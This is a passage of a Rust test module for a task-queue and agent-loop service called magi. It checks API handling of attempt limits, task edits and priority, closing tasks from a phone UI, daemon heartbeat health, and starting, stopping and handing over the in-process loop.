14858        // Highest priority first, which is the order next_runnable and
14859        // `magi task list` both use - GET /api/queue must agree with it
14860        // immediately, not just once the loop claims the task.
14861        assert_eq!(names[0], older.id, "the raised task now sorts first");
14862    }
14863
14864    #[tokio::test]
14865    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14866        let dir = TempDir::new().unwrap();
14867        let q = Queue::at(dir.path().join("queue"));
14868        let ui = Arc::new(Ui::new(
14869            q.clone(),
14870            Questions::at(dir.path().join("questions")),
14871            Talks::at(dir.path().join("talks")),
14872            dir.path().join("runs"),
14873            dir.path().to_path_buf(),
14874            dir.path().to_path_buf(),
14875        ));
14876        let mut t = Task::new(
14877            "budget".into(),
14878            "keep".into(),
14879            dir.path().into(),
14880            Source::Human,
14881        );
14882        t.attempts = 2;
14883        t.runs.push("prior-run".into());
14884        t.hold_manual(Some("waiting".into()));
14885        q.put(&mut t).unwrap();
14886        let change = |value| {
14887            queue_attempt_limit(
14888                State(ui.clone()),
14889                Path(t.id.clone()),
14890                Ok(Json(AttemptLimitBody {
14891                    attempt_limit: value,
14892                })),
14893            )
14894        };
14895        for value in [
14896            serde_json::json!(3),
14897            serde_json::Value::Null,
14898            serde_json::json!(1),
14899        ] {
14900            let response = change(value.clone()).await.unwrap();
14901            assert_eq!(
14902                serde_json::to_value(response.0).unwrap()["attempt_limit"],
14903                value
14904            );
14905            let saved = q.get(&t.id).unwrap();
14906            assert_eq!(
14907                serde_json::to_value(&saved).unwrap()["attempt_limit"],
14908                value
14909            );
14910            assert_eq!(saved.status, TaskStatus::Held);
14911            assert_eq!(saved.attempts, t.attempts);
14912            assert_eq!(saved.runs, t.runs);
14913            assert_eq!(saved.hold_reason, t.hold_reason);
14914            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14915                .await
14916                .unwrap()
14917                .0;
14918            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14919            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14920            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14921            assert_eq!(outcome.max_attempts, detail.max_attempts);
14922        }
14923        for value in [
14924            serde_json::json!(0),
14925            serde_json::json!(-1),
14926            serde_json::json!(1.5),
14927            serde_json::json!("3"),
14928            serde_json::json!(true),
14929        ] {
14930            assert_eq!(
14931                change(value).await.err().unwrap().status,
14932                StatusCode::BAD_REQUEST
14933            );
14934        }
14935        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14936        let claim = q.claim(&t.id).unwrap();
14937        assert_eq!(
14938            change(serde_json::json!(4)).await.err().unwrap().status,
14939            StatusCode::CONFLICT
14940        );
14941        drop(claim);
14942        for status in [
14943            TaskStatus::Running,
14944            TaskStatus::Done,
14945            TaskStatus::Failed,
14946            TaskStatus::Blocked,
14947            TaskStatus::Parked,
14948        ] {
14949            let mut stored = q.get(&t.id).unwrap();
14950            stored.status = status;
14951            q.put(&mut stored).unwrap();
14952            assert_eq!(
14953                change(serde_json::json!(4)).await.err().unwrap().status,
14954                StatusCode::BAD_REQUEST
14955            );
14956            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14957        }
14958        let mut stored = q.get(&t.id).unwrap();
14959        stored.status = TaskStatus::Queued;
14960        q.put(&mut stored).unwrap();
14961        let _ = change(serde_json::Value::Null).await.unwrap();
14962        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14963    }
14964
14965    #[tokio::test]
14966    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14967        let dir = TempDir::new().unwrap();
14968        let repo = dir.path().join("repo");
14969        std::fs::create_dir(&repo).unwrap();
14970        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14971        let q = Queue::at(dir.path().join("queue"));
14972        let ui = Arc::new(Ui::new(
14973            q.clone(),
14974            Questions::at(dir.path().join("questions")),
14975            Talks::at(dir.path().join("talks")),
14976            dir.path().join("runs"),
14977            dir.path().to_path_buf(),
14978            repo.clone(),
14979        ));
14980        let mut t = Task::new(
14981            "seats".into(),
14982            "keep instruction".into(),
14983            repo,
14984            Source::Human,
14985        );
14986        t.runs.push("prior-run".into());
14987        t.hold_manual(Some("waiting".into()));
14988        q.put(&mut t).unwrap();
14989        let change = |count| {
14990            queue_implementers(
14991                State(ui.clone()),
14992                Path(t.id.clone()),
14993                Ok(Json(ImplementersBody {
14994                    implementers: count,
14995                })),
14996            )
14997        };
14998        for count in [2, 1, 2] {
14999            let response = change(count).await.unwrap();
15000            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15001            let saved = q.get(&t.id).unwrap();
15002            assert_eq!(saved.implementers(), Some(usize::from(count)));
15003            assert_eq!(saved.runs, t.runs);
15004            assert_eq!(saved.instruction, t.instruction);
15005        }
15006        for count in [0, 4] {
15007            assert_eq!(
15008                change(count).await.err().unwrap().status,
15009                StatusCode::BAD_REQUEST
15010            );
15011        }
15012        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15013        let claim = q.claim(&t.id).unwrap();
15014        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15015        drop(claim);
15016        for status in [
15017            TaskStatus::Running,
15018            TaskStatus::Done,
15019            TaskStatus::Failed,
15020            TaskStatus::Blocked,
15021            TaskStatus::Parked,
15022        ] {
15023            let mut stored = q.get(&t.id).unwrap();
15024            stored.status = status;
15025            q.put(&mut stored).unwrap();
15026            assert_eq!(
15027                change(1).await.err().unwrap().status,
15028                StatusCode::BAD_REQUEST
15029            );
15030            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15031        }
15032    }
15033
15034    #[tokio::test]
15035    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15036        let f = Fixture::start().await;
15037        let queue = f.queue();
15038        let mut task = Task::new(
15039            "in flight".to_owned(),
15040            "x".to_owned(),
15041            PathBuf::from("/repo/magi"),
15042            Source::Human,
15043        );
15044        task.start("20260902-140502-bbbb".to_owned());
15045        queue.put(&mut task).expect("file the task");
15046
15047        let res = f
15048            .post(
15049                &format!("/api/queue/{}/priority", task.id),
15050                Some(r#"{"priority":9}"#),
15051            )
15052            .await;
15053        assert_eq!(res.status, 400, "{}", res.body);
15054        assert!(
15055            res.json()["error"]
15056                .as_str()
15057                .is_some_and(|e| e.contains("running")),
15058            "{}",
15059            res.body
15060        );
15061        assert_eq!(
15062            queue.get(&task.id).expect("reload").priority,
15063            0,
15064            "the refused write must not partially apply"
15065        );
15066    }
15067
15068    #[tokio::test]
15069    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15070        let f = Fixture::start().await;
15071        let queue = f.queue();
15072        let mut task = Task::new(
15073            "old title".to_owned(),
15074            "old instruction".to_owned(),
15075            PathBuf::from("/repo/magi"),
15076            Source::Agent {
15077                run: "20260101-000000-beef".to_owned(),
15078                node: "implement".to_owned(),
15079            },
15080        );
15081        task.runs.push("20260101-000000-beef".to_owned());
15082        queue.put(&mut task).expect("file the task");
15083        let created_at = task.created_at;
15084
15085        let edited = f
15086            .post(
15087                &format!("/api/queue/{}/edit", task.id),
15088                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15089            )
15090            .await;
15091        assert_eq!(edited.status, 200, "{}", edited.body);
15092        let body = edited.json();
15093        assert_eq!(body["title"], "new title");
15094        assert_eq!(body["instruction"], "new instruction");
15095        assert_eq!(body["id"], task.id, "editing must not mint a new id");
15096        assert_eq!(body["created_at"], created_at.to_string());
15097        assert_eq!(
15098            body["source"]["kind"], "agent",
15099            "editing a task an agent filed must not turn it human: {body}"
15100        );
15101        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15102
15103        let reloaded = queue.get(&task.id).expect("reload");
15104        assert_eq!(reloaded.title, "new title");
15105        assert_eq!(reloaded.instruction, "new instruction");
15106    }
15107
15108    #[tokio::test]
15109    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15110        // The judge is an agent now: a repo whose only agent answers
15111        // "duplicate" stands in for it, so the refusal is the judge's.
15112        let tmp = TempDir::new().expect("tempdir");
15113        let repo = tmp.path().join("repo");
15114        std::fs::create_dir_all(&repo).expect("repo dir");
15115        let judge = MOCK_AGENT_TOML.replace(
15116            "printf ok",
15117            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15118        );
15119        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15120        let f = Fixture::with_repo(repo.clone()).await;
15121        let queue = f.queue();
15122        let mut owner = Task::new(
15123            "owner".to_owned(),
15124            "review it".to_owned(),
15125            repo.clone(),
15126            Source::Human,
15127        );
15128        owner.review_branch = Some("magi/ab12/A".to_owned());
15129        queue.put(&mut owner).expect("file the owner");
15130        let mut task = Task::new(
15131            "draft".to_owned(),
15132            "old".to_owned(),
15133            repo.clone(),
15134            Source::Human,
15135        );
15136        queue.put(&mut task).expect("file the draft");
15137        let url = format!("/api/queue/{}/edit", task.id);
15138
15139        let refused = f
15140            .post(
15141                &url,
15142                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15143            )
15144            .await;
15145        assert_eq!(refused.status, 409, "{}", refused.body);
15146        let msg = refused.json()["error"]
15147            .as_str()
15148            .unwrap_or_default()
15149            .to_owned();
15150        assert!(
15151            msg.contains("magi/ab12/A") && msg.contains("force"),
15152            "{msg}"
15153        );
15154        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15155
15156        let forced = f
15157            .post(
15158                &url,
15159                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15160            )
15161            .await;
15162        assert_eq!(forced.status, 200, "{}", forced.body);
15163    }
15164
15165    #[tokio::test]
15166    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15167        let f = Fixture::start().await;
15168        let queue = f.queue();
15169        let mut task = Task::new(
15170            "in flight".to_owned(),
15171            "do not touch".to_owned(),
15172            PathBuf::from("/repo/magi"),
15173            Source::Human,
15174        );
15175        task.start("20260902-140502-bbbb".to_owned());
15176        queue.put(&mut task).expect("file the task");
15177
15178        let res = f
15179            .post(
15180                &format!("/api/queue/{}/edit", task.id),
15181                Some(r#"{"title":"x","instruction":"y"}"#),
15182            )
15183            .await;
15184        assert_eq!(res.status, 400, "{}", res.body);
15185        assert!(
15186            res.json()["error"]
15187                .as_str()
15188                .is_some_and(|e| e.contains("running")),
15189            "{}",
15190            res.body
15191        );
15192        assert_eq!(
15193            queue.get(&task.id).expect("reload").instruction,
15194            "do not touch",
15195            "the refused edit must not change the file"
15196        );
15197    }
15198
15199    #[tokio::test]
15200    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15201        let f = Fixture::start().await;
15202        let queue = f.queue();
15203        let mut task = Task::new(
15204            "busy".to_owned(),
15205            "Running right now".to_owned(),
15206            PathBuf::from("/repo/magi"),
15207            Source::Human,
15208        );
15209        queue.put(&mut task).expect("file the task");
15210        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15211
15212        let priority = f
15213            .post(
15214                &format!("/api/queue/{}/priority", task.id),
15215                Some(r#"{"priority":9}"#),
15216            )
15217            .await;
15218        assert_eq!(priority.status, 409, "{}", priority.body);
15219
15220        let edit = f
15221            .post(
15222                &format!("/api/queue/{}/edit", task.id),
15223                Some(r#"{"title":"x","instruction":"y"}"#),
15224            )
15225            .await;
15226        assert_eq!(edit.status, 409, "{}", edit.body);
15227    }
15228
15229    #[tokio::test]
15230    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15231        let f = Fixture::start().await;
15232        let queue = f.queue();
15233        let mut task = Task::new(
15234            "shipped by hand".to_owned(),
15235            "merged outside the loop".to_owned(),
15236            PathBuf::from("/repo/magi"),
15237            Source::Agent {
15238                run: "20260101-000000-b455".to_owned(),
15239                node: "implement".to_owned(),
15240            },
15241        );
15242        task.runs.push("20260101-000000-b455".to_owned());
15243        task.runs.push("20260101-000000-9af4".to_owned());
15244        queue.put(&mut task).expect("file the task");
15245        let created_at = task.created_at;
15246
15247        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15248        assert_eq!(done.status, 200, "{}", done.body);
15249        assert_eq!(done.json()["status_str"], "done");
15250
15251        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15252        assert_eq!(
15253            reloaded.runs,
15254            ["20260101-000000-b455", "20260101-000000-9af4"]
15255        );
15256        assert_eq!(
15257            reloaded.source,
15258            Source::Agent {
15259                run: "20260101-000000-b455".to_owned(),
15260                node: "implement".to_owned(),
15261            }
15262        );
15263        assert_eq!(reloaded.created_at, created_at);
15264    }
15265
15266    #[tokio::test]
15267    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15268        // `done` is allowed on any status, including `held`, with no release
15269        // in between - so a task held for a reason and then closed directly
15270        // must not keep reading as "waiting on" it afterwards, on its card or
15271        // in `magi task show`.
15272        let f = Fixture::start().await;
15273        let queue = f.queue();
15274        let mut task = Task::new(
15275            "landed while held".to_owned(),
15276            "x".to_owned(),
15277            PathBuf::from("/repo/magi"),
15278            Source::Human,
15279        );
15280        task.hold_manual(Some("waiting on 3ed9".to_owned()));
15281        queue.put(&mut task).expect("file the held task");
15282
15283        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15284        assert_eq!(done.status, 200, "{}", done.body);
15285        assert_eq!(done.json()["status_str"], "done");
15286        assert!(
15287            done.json()["hold_reason"].is_null(),
15288            "a done task cannot still be waiting on something: {}",
15289            done.body
15290        );
15291    }
15292
15293    #[tokio::test]
15294    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15295        // `queue_done` is the phone's way to close a task the loop never
15296        // settled itself - after confirming a manual GitHub merge, say - and
15297        // that is just as much "this task's story is over" as the loop's own
15298        // `Merged`/`Ready` path, so it must trigger the same cleanup.
15299        let f = Fixture::start().await;
15300        let queue = f.queue();
15301        let runs = f.runs();
15302        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15303        // The last attempt has to have actually landed for the earlier one
15304        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
15305        // for the case where it didn't.
15306        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15307
15308        let mut task = Task::new(
15309            "landed by hand".to_owned(),
15310            "x".to_owned(),
15311            PathBuf::from("/repo/magi"),
15312            Source::Human,
15313        );
15314        task.runs.push("20260101-000000-doa1".to_owned());
15315        task.runs.push("20260101-000000-doa2".to_owned());
15316        queue.put(&mut task).expect("file the task");
15317
15318        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15319        assert_eq!(done.status, 200, "{}", done.body);
15320
15321        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15322            .expect("run still on disk under this fixture's own home");
15323        assert_eq!(
15324            reloaded_run.status,
15325            RunStatus::Superseded,
15326            "closing the task by hand must relabel the earlier blocked attempt exactly \
15327             like the loop's own settle path does"
15328        );
15329    }
15330
15331    #[tokio::test]
15332    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15333        // Closing a task by hand is allowed from any status, including one
15334        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
15335        // manual merge the loop never watched, say. Nothing here is provably
15336        // why the task is done, so nothing earlier gets relabelled either.
15337        let f = Fixture::start().await;
15338        let queue = f.queue();
15339        let runs = f.runs();
15340        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15341        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15342
15343        let mut task = Task::new(
15344            "closed with nothing actually landed".to_owned(),
15345            "x".to_owned(),
15346            PathBuf::from("/repo/magi"),
15347            Source::Human,
15348        );
15349        task.runs.push("20260101-000000-dob1".to_owned());
15350        task.runs.push("20260101-000000-dob2".to_owned());
15351        queue.put(&mut task).expect("file the task");
15352
15353        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15354        assert_eq!(done.status, 200, "{}", done.body);
15355
15356        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15357            .expect("run still on disk under this fixture's own home");
15358        assert_eq!(
15359            reloaded_run.status,
15360            RunStatus::Blocked,
15361            "the last recorded attempt never landed, so the earlier one must not be \
15362             relabelled as superseded by it"
15363        );
15364    }
15365
15366    #[tokio::test]
15367    async fn unknown_ids_are_json_not_found_on_both_stores() {
15368        let f = Fixture::start().await;
15369
15370        let run = f.get("/api/runs/nosuchrun").await;
15371        let task = f.post("/api/queue/nosuchtask/hold", None).await;
15372
15373        assert_eq!(run.status, 404);
15374        assert_eq!(task.status, 404);
15375        assert!(
15376            run.json()["error"]
15377                .as_str()
15378                .is_some_and(|e| e.contains("run")),
15379            "the error names what was not found: {}",
15380            run.body
15381        );
15382        assert!(
15383            task.json()["error"]
15384                .as_str()
15385                .is_some_and(|e| e.contains("task")),
15386            "the error names what was not found: {}",
15387            task.body
15388        );
15389    }
15390
15391    #[tokio::test]
15392    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15393        let f = Fixture::start().await;
15394
15395        let missing = f.get("/api/health").await.json();
15396        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15397
15398        write_daemon(
15399            f.home.path(),
15400            Timestamp::now() - jiff::SignedDuration::from_secs(60),
15401        );
15402        let stale = f.get("/api/health").await.json();
15403        assert_eq!(
15404            stale["daemon"]["running"], false,
15405            "a minute without a heartbeat is a dead daemon, not a busy one"
15406        );
15407        assert!(
15408            stale["daemon"]["stale_for_secs"]
15409                .as_i64()
15410                .is_some_and(|s| s >= 55),
15411            "staleness is reported so the UI can say how long: {stale}"
15412        );
15413
15414        write_daemon(f.home.path(), Timestamp::now());
15415        let fresh = f.get("/api/health").await.json();
15416        assert_eq!(fresh["daemon"]["running"], true);
15417        assert_eq!(fresh["daemon"]["idle"], false);
15418        assert_eq!(fresh["daemon"]["pid"], 4242);
15419        assert_eq!(fresh["daemon"]["completed"], 7);
15420        assert_eq!(
15421            fresh["daemon"]["current"][0]["task"],
15422            "20260902-140501-aaaa"
15423        );
15424        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15425    }
15426
15427    #[tokio::test]
15428    async fn the_loop_is_not_running_until_something_starts_it() {
15429        let f = Fixture::start().await;
15430
15431        let view = f.get("/api/loop").await.json();
15432        assert_eq!(view["running"], false);
15433        assert_eq!(
15434            view["owned"], false,
15435            "nobody owns a loop that does not exist: {view}"
15436        );
15437        assert_eq!(view["stopping"], false);
15438        assert_eq!(view["last_error"], Value::Null);
15439        assert_eq!(view["daemon"]["running"], false);
15440        assert_eq!(
15441            view["repo"], "/repo/magi",
15442            "the repository a start would use, named before it is started"
15443        );
15444    }
15445
15446    #[tokio::test]
15447    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15448        let f = Fixture::start().await;
15449
15450        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15451        assert_eq!(res.status, 200, "{}", res.body);
15452        let view = res.json();
15453        assert_eq!(view["running"], true);
15454        assert_eq!(
15455            view["owned"], true,
15456            "the loop the UI started is the UI's own to stop: {view}"
15457        );
15458        assert_eq!(
15459            view["merge"],
15460            Value::Null,
15461            "no override was given, so each repository's own config decides"
15462        );
15463
15464        // The same object from the route a waking phone polls first. Two
15465        // surfaces disagreeing about whether anything is running is exactly
15466        // the confusion this UI exists to remove.
15467        let health = f.get("/api/health").await.json();
15468        assert_eq!(health["loop"]["running"], true, "{health}");
15469        assert_eq!(health["loop"]["owned"], true, "{health}");
15470
15471        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15472    }
15473
15474    #[tokio::test]
15475    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15476        let f = Fixture::start().await;
15477        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15478        assert_eq!(first.status, 200, "{}", first.body);
15479
15480        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15481        assert_eq!(
15482            again.status, 409,
15483            "two loops on one queue race for the same claims: {}",
15484            again.body
15485        );
15486        assert!(
15487            again.json()["error"]
15488                .as_str()
15489                .is_some_and(|e| e.contains("already running the loop")),
15490            "the refusal has to say why: {}",
15491            again.body
15492        );
15493        assert_eq!(
15494            f.get("/api/loop").await.json()["running"],
15495            true,
15496            "and the loop that was already running is untouched by it"
15497        );
15498
15499        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15500    }
15501
15502    #[tokio::test]
15503    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15504        let f = Fixture::start().await;
15505        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15506
15507        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15508        assert_eq!(
15509            res.status, 200,
15510            "the answer must not wait for the loop: a run in flight is tens of \
15511             minutes and the operator is holding a phone: {}",
15512            res.body
15513        );
15514
15515        let view = settled(&f, |v| v["running"] == false).await;
15516        assert_eq!(view["owned"], false);
15517        assert_eq!(
15518            view["stopping"], false,
15519            "a loop that has stopped is not still stopping: {view}"
15520        );
15521        assert_eq!(
15522            view["last_error"],
15523            Value::Null,
15524            "a loop that was asked to stop did not fail: {view}"
15525        );
15526
15527        // Idempotent, because the operator cannot tell a slow stop from a lost
15528        // one and will press it again.
15529        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15530        assert_eq!(twice.status, 200, "{}", twice.body);
15531    }
15532
15533    #[tokio::test]
15534    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15535        let f = Fixture::start().await;
15536        // How the operator has been doing it: a `magi serve` of their own,
15537        // heartbeat fresh, in the same home this UI reads.
15538        write_daemon(f.home.path(), Timestamp::now());
15539
15540        let view = f.get("/api/loop").await.json();
15541        assert_eq!(view["running"], false, "not in this process: {view}");
15542        assert_eq!(view["owned"], false, "and not this process's to control");
15543        assert_eq!(
15544            view["daemon"]["running"], true,
15545            "but a loop is alive somewhere, which is what the UI must say"
15546        );
15547        assert_eq!(view["daemon"]["pid"], 4242);
15548
15549        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15550            let res = f.post("/api/loop", Some(body)).await;
15551            assert_eq!(
15552                res.status, 409,
15553                "neither button may pretend to work on someone else's loop: {}",
15554                res.body
15555            );
15556            assert!(
15557                res.json()["error"]
15558                    .as_str()
15559                    .is_some_and(|e| e.contains("4242")),
15560                "the refusal has to name the process the operator must go to: {}",
15561                res.body
15562            );
15563        }
15564        assert_eq!(
15565            f.get("/api/loop").await.json()["running"],
15566            false,
15567            "and the refusal started nothing"
15568        );
15569    }
15570
15571    #[tokio::test]
15572    async fn a_stale_status_file_is_not_a_foreign_owner() {
15573        let f = Fixture::start().await;
15574        write_daemon(
15575            f.home.path(),
15576            Timestamp::now() - jiff::SignedDuration::from_secs(60),
15577        );
15578
15579        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15580        assert_eq!(
15581            res.status, 200,
15582            "a daemon killed a minute ago must not lock the loop out of its \
15583             own home for good: {}",
15584            res.body
15585        );
15586        assert_eq!(res.json()["running"], true);
15587
15588        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15589    }
15590
15591    #[tokio::test]
15592    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15593        let f = Fixture::start().await;
15594        let before = f.get("/api/health").await.json()["loop_rev"]
15595            .as_u64()
15596            .expect("a loop revision");
15597
15598        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15599
15600        let after = f.get("/api/health").await.json()["loop_rev"]
15601            .as_u64()
15602            .expect("a loop revision");
15603        assert!(
15604            after > before,
15605            "the loop is in-process state, so this counter is the only thing \
15606             that tells a second device the first one started it: {before} -> \
15607             {after}"
15608        );
15609
15610        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15611    }
15612
15613    #[tokio::test]
15614    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15615        let f = Fixture::with_loop(launch_broken).await;
15616
15617        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15618        assert_eq!(
15619            res.status, 200,
15620            "starting it is not the failure: {}",
15621            res.body
15622        );
15623
15624        let view = settled(&f, |v| v["last_error"].is_string()).await;
15625        assert_eq!(
15626            view["running"], false,
15627            "a loop that died must not read as running, or the operator has \
15628             nothing to press: {view}"
15629        );
15630        assert_eq!(view["owned"], false);
15631        assert!(
15632            view["last_error"]
15633                .as_str()
15634                .is_some_and(|e| e.contains("read-only file system")),
15635            "the phone is where a loop that died at 3am is visible: {view}"
15636        );
15637
15638        // And it can be started again: the corpse was reaped, not left to
15639        // occupy the slot.
15640        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15641        assert_eq!(again.status, 200, "{}", again.body);
15642        assert!(
15643            again.json()["last_error"]
15644                .as_str()
15645                .is_none_or(|e| !e.contains("read-only file system")),
15646            "a fresh start does not keep showing why the last one died: {}",
15647            again.body
15648        );
15649    }
15650
15651    /// An upgrade parks the run in flight before it restarts, and a park waits
15652    /// for the node - up to `timeout_implement`, an hour by default. The deck
15653    /// has to answer for all of it: the operator has just been told a run is
15654    /// finishing first, and this address is the only place that says how it is
15655    /// going. It did not, once - the listener went with the `select!` arm that
15656    /// began the handover, and the phone got `Cannot reach magi: Failed to
15657    /// fetch` for the rest of the wave.
15658    ///
15659    /// The other half is the older rule: the address must be free *before* the
15660    /// successor is started, or it dies on "address already in use" with its
15661    /// stdio sent to null and the deck never comes back.
15662    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15663    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15664        let home = TempDir::new().expect("temp home");
15665        let runs = home.path().join("runs");
15666        std::fs::create_dir_all(&runs).expect("runs dir");
15667        let ui = Ui::new(
15668            Queue::at(home.path().join("queue")),
15669            Questions::at(home.path().join("questions")),
15670            Talks::at(home.path().join("talks")),
15671            runs,
15672            home.path().to_path_buf(),
15673            PathBuf::from("/repo/magi"),
15674        )
15675        .with_worktrees_root(home.path().join("wt"))
15676        .with_launch(launch_knocking_on_the_way_out);
15677        let looping = ui.looping();
15678        let turns = ui.turns();
15679        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15680            .await
15681            .expect("bind loopback");
15682        let addr = listener.local_addr().expect("local addr");
15683        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15684        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15685
15686        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15687        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15688
15689        // The successor's whole job, and the one thing it cannot do while this
15690        // process still holds the socket.
15691        //
15692        // One bind is not enough, and the reason is not this process's order of
15693        // operations: aborting the accept loop drops the listener, but axum
15694        // serves each accepted connection on a task of its own, and those are
15695        // not aborted. The requests above left sockets on this very address,
15696        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
15697        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
15698        // Production absorbs that in `bind_waiting`; so does this. Only
15699        // `AddrInUse` is retried, and the listener is released before the
15700        // closure returns - were the order wrong, the listener would outlive
15701        // the closure and every attempt would fail. Inferred from the bind
15702        // rules and the code; not reproduced on macOS.
15703        let bound = std::sync::Mutex::new(None);
15704        hand_over(
15705            home.path(),
15706            &looping,
15707            &turns,
15708            &|_: &[String]| Duration::from_secs(5),
15709            served,
15710            |_| {
15711                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15712                let attempt = loop {
15713                    match std::net::TcpListener::bind(addr) {
15714                        Ok(l) => {
15715                            drop(l);
15716                            break Ok(());
15717                        }
15718                        Err(e)
15719                            if e.kind() == std::io::ErrorKind::AddrInUse
15720                                && std::time::Instant::now() < deadline =>
15721                        {
15722                            std::thread::sleep(std::time::Duration::from_millis(10));
15723                        }
15724                        Err(e) => break Err(e.to_string()),
15725                    }
15726                };
15727                *bound.lock().expect("bound") = Some(attempt);
15728                Ok(1)
15729            },
15730        )
15731        .await
15732        .expect("hand over");
15733
15734        assert_eq!(
15735            *PARK_HEARD.lock().expect("park heard"),
15736            Some(200),
15737            "the deck must answer while the loop is parking"
15738        );
15739        let attempt = bound
15740            .lock()
15741            .expect("bound")
15742            .take()
15743            .expect("the successor was started");
15744        assert!(
15745            attempt.is_ok(),
15746            "and the address must be free by the time it is: {attempt:?}"
15747        );
15748    }
15749
15750    #[tokio::test]
15751    async fn a_newer_daemon_status_file_still_renders() {
15752        let f = Fixture::start().await;
15753        // A field this build has never heard of must not turn the status line
15754        // into a 500; that is the whole reason the reader is permissive.
15755        std::fs::write(
15756            f.home.path().join("daemon.json"),
15757            serde_json::json!({
15758                "schema": 2,
15759                "updated_at": Timestamp::now().to_string(),
15760                "idle": true,
15761                "surprise": { "nested": [1, 2, 3] },
15762            })
15763            .to_string(),
15764        )
15765        .expect("write daemon.json");
15766
15767        let health = f.get("/api/health").await;
15768
15769        assert_eq!(health.status, 200);
15770        assert_eq!(health.json()["daemon"]["running"], true);
15771    }
15772
15773    #[tokio::test]
15774    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15775        let f = Fixture::start().await;
15776        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15777        let broken = f.runs().join("20260902-140502-bad");
15778        std::fs::create_dir_all(&broken).expect("run dir");
15779        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15780
15781        let list = f.get("/api/runs").await;
15782        let detail = f.get("/api/runs/20260902-140502-bad").await;
15783
15784        assert_eq!(list.status, 200);
15785        let listed = list.json();
15786        let ids: Vec<&str> = listed
15787            .as_array()
15788            .expect("an array")
15789            .iter()
15790            .map(|r| r["id"].as_str().expect("an id"))
15791            .collect();
15792        assert_eq!(
15793            ids,
15794            vec!["20260902-140501-good"],
